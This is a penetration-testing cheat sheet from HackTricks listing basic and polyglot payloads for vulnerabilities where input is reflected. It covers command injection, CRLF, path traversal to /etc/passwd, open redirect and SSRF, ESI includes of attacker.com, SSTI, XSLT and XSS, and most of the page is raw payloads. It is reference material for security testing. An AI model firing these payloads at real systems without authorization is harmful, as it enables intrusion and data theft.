# Reflecting Techniques - PoCs and Polygloths CheatSheet {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**. {% hint style="warning" %} This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, just some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed. {% endhint %} {% hint style="danger" %} You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure. {% endhint %} ## Polygloths list ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

THIS IS AND INJECTED TITLE

/etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ " onclick=alert() a=" '"> javascript:alert() javascript:"/*'/*`/*--> -->'"/>
">>" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` ## [Client Side Template Injection](../client-side-template-injection-csti.md) ### Basic Tests ``` {{7*7}} [7*7] ``` ### Polygloths ```bash {{7*7}}[7*7] ``` ## [Command Injection](../command-injection.md) ### Basic Tests ```bash ;ls ||ls; |ls; &&ls; &ls; %0Als `ls` $(ls) ``` ### Polygloths ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` ## [CRLF](../crlf-0d-0a.md) ### Basic Tests ```bash %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` ## Dangling Markup ### Basic Tests ```markup <br><b><h1>THIS IS AND INJECTED TITLE </h1> ``` ## [File Inclusion/Path Traversal](../file-inclusion/) ### Basic Tests ```bash /etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` ## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) ### Basic Tests ```bash www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) ``` ## [ReDoS](../regular-expression-denial-of-service-redos.md) ### Basic Tests ```bash (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ ``` ## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) ### Basic Tests ```markup <!--#echo var="DATE_LOCAL" --> <!--#exec cmd="ls" --> <esi:include src=http://attacker.com/> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ### Polygloths ```markup <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) The same tests used for Open Redirect can be used here. ## [Server Side Template Injection](../ssti-server-side-template-injection/) ### Basic Tests ```markup ${{<%[%'"}}%\ {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} ``` ### Polygloths ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### Basic Tests ```markup <xsl:value-of select="system-property('xsl:version')" /> <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ### Polygloths ```markup <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ## XSS ### Basic Tests ```markup " onclick=alert() a=" '"><img src=x onerror=alert(1) /> javascript:alert() ``` ### Polygloths ```markup javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> <svg%0Ao%00nload=%09((pro\u006dpt))()// javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` %0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">` javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//> ``` {% hint style="success" %} Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) <details> <summary>Support HackTricks</summary> * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. </details> {% endhint %}